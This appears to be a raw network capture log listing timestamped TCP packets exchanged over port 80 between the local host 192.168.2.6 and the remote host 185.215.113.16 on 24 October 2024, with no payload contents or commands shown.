Oct 24, 2024 09:07:32.247694969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247709036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247724056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247731924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247745991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247767925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247808933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247823000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247838020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247848034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247859955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247874022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247884035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247894049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247909069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247917891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247932911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247946978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247955084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248069048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248081923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248090982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248104095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248115063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248122931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248136044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248150110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248157978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248171091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248189926 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248197079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248209953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248224020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248233080 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248245955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248265982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248327017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248339891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248353958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248368979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248383045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248392105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248403072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248416901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248430014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248437881 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248449087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248466969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248482943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248496056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248503923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248527050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248541117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248548031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248562098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248573065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248580933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248594046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248608112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248615980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248630047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248711109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248723984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248738050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248745918 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248756886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248770952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248779058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248842001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248856068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248863935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248877048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248891115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248898983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248912096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248924971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248933077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248945951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248959064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248966932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.248980999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.248994112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249002934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249016047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249037027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249135971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249149084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249165058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249171972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249185085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249198914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249207973 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249219894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249234915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249243975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249257088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249270916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249279022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249290943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249310017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249316931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249327898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249347925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249377012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249387980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249402046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249409914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249425888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249438047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249445915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249500990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249514103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249527931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249541998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249550104 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249562979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249576092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249583960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249597073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249609947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249618053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249629974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249644995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249651909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249669075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249680042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249689102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249701977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249716043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249725103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.249737978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249752045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.249762058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.250883102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.261703968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.261718988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.261737108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.262017965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.267457962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.291361094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291395903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291452885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291486025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.291532040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291562080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291591883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.291635036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291685104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291714907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.291764975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291817904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291837931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.291886091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291915894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.291954994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.291987896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292028904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292057037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.292093039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292107105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.292155981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292187929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292217970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292279959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292311907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.292335033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292386055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292416096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.292439938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292488098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292521000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292552948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292581081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.292606115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292638063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292681932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292714119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292742968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.292767048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292795897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292834997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292867899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292896986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.292921066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292951107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.292980909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.293005943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.293036938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.293066978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.293091059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.293122053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.293152094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.293176889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.293205023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.293234110 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.293258905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.293292999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.293320894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.309868097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.309868097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.333444118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.333472967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.333486080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.333501101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.334223986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.363586903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.363626957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.363683939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.363730907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.363784075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.363837957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.363873005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.363915920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.363965988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.363997936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364025116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364057064 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364075899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364123106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364156008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364197016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364223957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364259005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364310026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364356995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364433050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364450932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364480972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364535093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364566088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364607096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364634991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364665031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364715099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364751101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364780903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364806890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364840984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364866972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.364895105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364945889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.364984989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365010977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365030050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365058899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365118027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365130901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365180016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365212917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365245104 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365269899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365314960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365348101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365379095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365418911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365447998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365479946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365504026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365528107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365575075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365618944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365650892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365681887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365700960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365748882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365781069 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365804911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365834951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365864992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365896940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365926027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.365952969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.365983963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366013050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366071939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366086006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366134882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366168022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366219044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366250992 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366275072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366319895 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366348028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366379023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366405964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366435051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366467953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366499901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366532087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366583109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366605043 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366630077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366630077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366671085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366719961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366751909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366785049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366802931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366823912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366844893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366867065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366893053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.366921902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366976976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.366995096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367027044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367058039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367084026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367104053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367135048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367173910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367206097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367238045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367260933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367294073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367336988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367377996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367410898 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367433071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367465019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367501020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367522955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367557049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367582083 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367609978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367641926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367672920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367695093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367731094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367749929 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367768049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367809057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367818117 CEST	80	49772	185.215.113.16	192.168.2.6
